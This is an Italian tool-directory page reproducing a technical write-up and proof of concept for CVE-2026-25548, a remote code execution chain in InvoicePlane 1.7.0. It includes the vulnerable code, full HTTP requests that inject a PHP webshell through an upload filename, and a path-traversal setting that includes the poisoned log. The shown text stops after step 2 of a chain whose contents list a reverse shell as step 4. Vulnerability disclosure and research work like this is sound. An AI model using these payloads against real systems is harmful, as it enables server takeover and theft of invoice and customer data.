Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25548 — Write-up tecnico dettagliato e proof-of-concept per CVE-2026-25548, una RCE critica in InvoicePlane 1.7.0 tramite LFI e log poisoning, inclusa la catena di attacco, le richieste PoC e l'analisi dell'impatto. | Kitploit
Strumenti/GitHubGitHub/lagathos/cve-2026-25548
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

Write-up tecnico dettagliato e proof-of-concept per CVE-2026-25548, una RCE critica in InvoicePlane 1.7.0 tramite LFI e log poisoning, inclusa la catena di attacco, le richieste PoC e l'analisi dell'impatto.

Vedi Repository
196 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25548 — Esecuzione di Codice Remota in InvoicePlane 1.7.0

Vulnerabilità: Esecuzione di Codice Remota tramite Local File Inclusion + Log Poisoning

Prodotto: InvoicePlane

Versione interessata: 1.7.0 (e probabilmente versioni precedenti)

Gravità: Critica

Punteggio CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Scoperta da: Leonidas Agathos

Data del report: 2026-01-31


Indice

  • Descrizione
  • Dettagli della Vulnerabilità
    • 1. Local File Inclusion (LFI)
    • 2. Log Poisoning tramite Nome File di Upload
  • Catena di Attacco
  • Prova di Concetto
    • Passo 1 — Log Poisoning
    • Passo 2 — Configurare l'LFI
    • Passo 3 — Attivare l'RCE
    • Passo 4 — Reverse Shell
  • Impatto
  • Componenti Interessati
  • Cronologia

Descrizione

Una catena di vulnerabilità critica in InvoicePlane 1.7.0 consente a un amministratore autenticato di ottenere Esecuzione di Codice Remota (RCE) sul server sottostante. L'attacco combina due debolezze:

  1. Local File Inclusion (LFI) — L'impostazione del modello di fattura pubblica accetta percorsi di file arbitrari senza alcuna validazione, consentendo l'inclusione di file al di fuori della directory dei modelli prevista.
  2. Log Poisoning — I nomi di file di upload contenenti caratteri di path traversal vengono scritti letteralmente nei file di log .php di CodeIgniter, consentendo l'iniezione di codice PHP arbitrario.

Se combinate, un attaccante con accesso amministrativo può ottenere il pieno compromesso del server come utente del web server. L'attivazione finale dell'RCE è non autenticata (URL di fattura pubblica).


Dettagli della Vulnerabilità

1. Local File Inclusion (LFI)

AttributoValore
Fileapplication/modules/guest/controllers/View.php
Righe85, 191
Parametropublic_invoice_template (impostazione del database)
CWECWE-98: Controllo Improprio del Nome File per Istruzioni Include/Require

Codice vulnerabile (View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Codice vulnerabile (View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Le impostazioni public_invoice_template e public_quote_template vengono recuperate dal database e concatenate direttamente in un percorso di file passato a load->view() di CodeIgniter (che si risolve in include() di PHP). Non c'è alcuna validazione per:

  • Prevenire sequenze di directory traversal (../)
  • Consentire solo nomi di modelli da una whitelist
  • Confermare che il file esista nella directory dei modelli prevista

Un amministratore può impostare questo valore su qualsiasi percorso del filesystem, limitato solo dall'estensione .php che viene aggiunta automaticamente.


2. Log Poisoning tramite Nome File di Upload

AttributoValore
Fileapplication/modules/upload/controllers/Upload.php
Righe178–184
ParametroNome file di upload (dati del form multipart HTTP)
CWECWE-117: Neutralizzazione Impropria dell'Output per i Log

Codice vulnerabile (Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Quando un nome file attiva il controllo di path traversal, il nome file grezzo e non sanificato viene scritto direttamente nel file di log. I file di log di CodeIgniter:

  • Usano l'estensione .php: application/logs/log-YYYY-MM-DD.php
  • Iniziano con <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Sono quindi file PHP validi che vengono eseguiti quando inclusi

Un attaccante che incorpora <?php system($_GET[1]); ?> nel nome file fa sì che il payload venga scritto nel log e successivamente eseguito tramite l'LFI.


Catena di Attacco

[Utente autenticato]  →  Upload di nome file malevolo  →  PHP iniettato nel file di log
[Admin]               →  Imposta l'impostazione del modello  →  LFI punta al file di log
[Chiunque]            →  Visita l'URL di fattura pubblica    →  RCE
PassoRequisito
Log PoisoningUtente autenticato con accesso all'upload
Configurazione LFIAccount amministratore
Attivazione RCENon autenticata (URL di fattura pubblica)

Prova di Concetto

Passo 1 — Log Poisoning

Invia una richiesta di upload di file con una webshell PHP incorporata nel nome file. Il controllo di path traversal si attiverà e scriverà il nome file grezzo (incluso il payload PHP) nel file di log.

Richiesta (tramite Burp Suite):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

Il server rifiuta l'upload (upload_error_invalid_extension) ma la voce di log è già stata scritta:

Risultato in application/logs/log-2026-01-31.php:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Naviga alla sezione Allegati di una fattura e clicca su Aggiungi file per raggiungere l'endpoint di upload.

Passo 1a - Punto di ingresso upload allegati fattura

Passo 1b - Iniezione del payload PHP tramite nome file malevolo

Passo 1c - File di log che mostra il payload PHP iniettato


Passo 2 — Configurare l'LFI

Come amministratore, imposta l'impostazione public_invoice_template per puntare al file di log di oggi utilizzando un payload di path traversal. Il loader di viste di CodeIgniter aggiunge .php automaticamente.

Richiesta (tramite Burp Suite):

POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

Il percorso di traversal si risolve da application/views/invoice_templates/public/ fino a application/logs/, quindi include log-2026-01-31.php.

Scarica lo strumento